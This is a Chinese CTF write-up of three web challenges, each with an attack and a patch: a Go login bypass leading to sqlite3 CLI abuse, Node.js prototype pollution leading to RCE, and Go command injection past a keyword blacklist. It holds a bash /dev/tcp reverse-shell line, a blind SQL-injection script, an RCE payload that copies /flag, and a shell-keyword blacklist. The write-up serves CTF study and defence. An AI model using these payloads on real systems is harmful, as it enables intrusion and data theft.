Preface
2023年11月11日晚,光棍节打CTF受不了一点
队友去打线下的华为杯了😭留我一人受强网拟态的煎熬
看了一下这次ADWP的题目还挺有意思的,复现一波
📌注:笔者没有参加线下的华为杯,以下均基于题目附件和笔者自己的猜想,可能会与实际环境有所区别。
ezgo
一个简单的登录系统,admin用户可以获取sqlite数据库的交互权限
用户表结构如下,采用gorm实现对象关系映射
1 2 3 4 5 6 7
| type User struct { gorm.Model Id int `gorm:"primaryKey"` UserName string Password string Token string }
|
系统有三个路由,分别是注册、登录、数据库交互
想要得到数据库的交互权限,需要获取admin的token
先看注册和登录的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| func register(c *gin.Context) { username := c.PostForm("username") password := c.PostForm("password")
user := &User{} db.Where("user_name", username).First(user) if user.UserName == username { c.JSON(http.StatusInternalServerError, gin.H{"msg": "用户名已被注册"}) return }
token := randomUUID() db.Create(&User{ UserName: username, Password: password, Token: token, }) c.JSON(http.StatusOK, gin.H{"msg": "注册成功", "token": token}) }
|
注册首先判断数据库中是否已经有username这个用户,后会给新用户生成值为uuid的token
1 2 3 4 5 6 7 8 9 10 11 12 13
| func login(c *gin.Context) { username := c.PostForm("username") password := c.PostForm("password") token := c.PostForm("token")
user := &User{} err := db.Where(&User{UserName: username, Password: password, Token: token}).First(&user).Error if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"msg": "登录失败"}) return } c.JSON(http.StatusOK, gin.H{"msg": "登录成功", "user": user}) }
|
Gorm的Where函数有一个特性,往其传入Model结构体来构造查询的条件语句时,若对象的属性为空值,则生成SQL语句的时候不会为其生成条件语句。紧跟的First函数会为SQL语句加上LIMIT 1
所以登录接口处若传token和password为空字符串,得到的查询SQL语句将会是:
1 2 3
| SELECT * FROM `user` WHERE `username`='xxx' LIMIT 1
|
这样就能获取admin的token了。
Attack
sqlite是一个轻量级的零配置数据库,有几个利用点
ATTACH DATABASE能用来写webshell,但也只局限于PHP这种灵活的脚本语言
load_extension可以加载恶意动态库,但目标环境也没得文件上传
flag应该就在数据库中或在系统文件里。
sqlite_master表是SQLite的系统表,是为每个SQLite数据库自动创建的特殊表,类似MySQL里的information_schema数据库
sqlite_master有几个重要的字段
- type:表或索引,值为
table或index
- name:表名或索引名
- sql:创建表使用的sql语句
因此SQL注入中我们查询sqlite_master的sql字段就能知道数据库中的表结构

发现这个gorm框架还挺方便,直接帮你生成表结构


password和token传空字符串,拿到admin的token(实际上这里不传这两个参数,go处理时默认就当成空字符串)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| func sqlClient(c *gin.Context) { clientBody := ClientBody{} c.BindJSON(&clientBody)
user := &User{} db.Where("user_name = ?", "admin").First(user) result := "" if clientBody.Token == user.Token { cmd := exec.Command("sqlite3")
stdin, err := cmd.StdinPipe() if err != nil { fmt.Println(err) return }
stdout, err := cmd.StdoutPipe() if err != nil { fmt.Println(err) return }
stderr, err := cmd.StderrPipe() if err != nil { fmt.Println(err) return }
err = cmd.Start() if err != nil { fmt.Println(err) return }
go func() { scanner := bufio.NewScanner(stdout) for scanner.Scan() { fmt.Println(scanner.Text()) } }()
go func() { scanner := bufio.NewScanner(stderr) for scanner.Scan() { fmt.Println(scanner.Text()) result += scanner.Text() } }()
for _, sql := range clientBody.Sql { fmt.Fprintln(stdin, sql) }
err = cmd.Wait() if err != nil { fmt.Println(err) return } } c.JSON(http.StatusOK, gin.H{"msg": "交互成功", "token": clientBody.Token, "result": result}) }
|
接着client接口的sqlite3交互,它是执行了sqlite3命令,将我们传入的sql数组作为标准输入,然而交互的标准输出只在控制台打印,没有返回给客户端。代码中看似标准错误返回给了客户端,但实际上一旦检测到报错就退出了。
得益于启动了一个sqlite3交互进程,我们可以利用其自带的一些命令,打开新天地了。
.read .import 读文件
.read FILE Read input from FILE or command output
若报错可以回显,可以直接用.read读文件

.import FILE TABLE Import data from FILE into TABLE
可以将文件内容读入表中

.output 任意文件写
.show 查看当前设置

发现一个设置项为output: stdout
.help查找帮助文档发现有一个命令可以修改output
.output ?FILE? Send output to FILE or stdout if FILE is omitted
修改输出到指定文件中


.load FILE ?ENTRY? Load an extension library
完成文件写后,配合.load可以加载恶意动态链接库
特别的,.output这里的FILE也可以是stderr
对于这道题来说,把输出重定向到标准错误,正好能实现回显,而不会抛出错误,err = cmd.Wait()的err判断我猜测可能是判断进程退出的状态码,比如exit(0)是正常退出,而程序抛出异常是其他状态码。

成功回显!(这里用.mode column美化一下输出。。太长了也没美化多少)
注意这里要主动.quit,否则会一直等待子进程退出,而子进程还在等待输入,死循环了。
.shell 命令执行
这个命令也太过于强大了
.shell CMD ARGS... Run CMD ARGS… in a system shell
.system CMD ARGS... Run CMD ARGS… in a system shell

配合上面修改output为stderr,直接执行系统命令。或者若目标环境出网直接弹shell了。
sqlite> .shell bash -c "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"
sqlite报错盲注
假设这题没有执行结果的回显,可以考虑报错盲注。(若flag在系统文件里,首先第一步也是通过.load把文件导入表中。)
翻一下sqlite的文档,随便找了一个json函数
json函数验证由参数指定的字符串,并将其转为最小化的 JSON 字符串(删除了多余的空白)。
试着传入不合法的json字符串

配合IIF进行条件判断

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import requests
url = "http://127.0.0.1:8088" token = ''
def getToken(): login_data = { 'username': 'admin', 'password': '', 'token': '' } r = requests.post(url + '/login', data=login_data).json() global token token = r['user']['Token']
def blind(): ans = '' for i in range(1, 1000): low = 9 high = 128 mid = (low + high) // 2 while low < high: sql = "SELECT IIF(UNICODE(substr((SELECT GROUP_CONCAT(res) FROM flag), %s, 1)) < %s, 1, json('{'));" \ % (str(i), str(mid)) payload = { 'token': token, 'sql': ['.open gorm.db', sql, '.quit'] } r = requests.post(url + '/client', json=payload).text if r != '': high = mid else: low = mid + 1 mid = (low + high) // 2 if mid <= 9 or mid >= 127: break ans += chr(mid - 1) print(ans)
if __name__ == '__main__': print('=========Error Based Blind Injection start=========') getToken() blind()
|


Patch
防御很简单,判断password和token是否为空字符串即可

imgupl0ad
能够上传文件到public/upload下,文件名随机,后缀为jpg
然后就莫名其妙merge了?
1 2 3 4 5 6 7 8 9 10 11 12
| const merge = (target, source) => { for (let key in source) { if (key == "__proto__") { throw new Error('Param invalid') } if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
|

还有一个删除图片的功能,是使用系统命令去删除的

再看一眼Node的版本:18
直接打原生的原型链污染RCE
Attack
1 2 3 4 5 6 7
| { "__proto__": { "shell": "/proc/self/exe", "argv0": "console.log(require('child_process').execSync('cp /flag /app/public/flag').toString())//", "NODE_OPTIONS": "--require /proc/self/cmdline" } }
|

接着访问/rm触发命令

Patch
禁掉原型链的关键字即可
1 2 3 4 5 6 7 8 9 10 11 12
| const merge = (target, source) => { for (let key in source) { if (key == "__proto__" || key == "constructor" || key == "prototype") { throw new Error('Param invalid') } if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
|
彩蛋:此处为copilot给的提示,太强大了吧😍

Oddly_Sordid_Command
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package figlet
import ( "github.com/flamego/flamego" "os/exec" "strings" "fmt" )
func Figlet(ctx flamego.Context) string { if ctx.RemoteAddr() != "127.0.0.1" { return "You are not allowed to access this page" } str := ctx.Query("str") if !Waf(str) { str = "Give up" } cmd, _ := exec.Command("sh", "-c", "figlet "+str).Output() println(string(cmd)) return string(cmd) }
func Waf(str string) bool { blacklist := []string{"&", ">", "<", "'", "+", "`", "'", "\"", "(", ")", "[", "]", "*", "\\", "fffff111114g", "cat", "tac", "cd", "ls", "echo", "dir"} for _, v := range blacklist { if strings.Contains(str, v) { return false } } return true }
|
套着Go外壳的命令注入
Attack
ip的判断可以用X-Forwarded-For绕过
figlet?str=| nl /fffff111114?

Patch
修复的话,单靠黑名单真怕又出啥非预期。
命令注入的核心问题也是数据没有和命令隔离开来,在这里体现在执行sh -c后面的字符串直接把数据和命令拼接了。

把sh -c去掉就行,效果如下
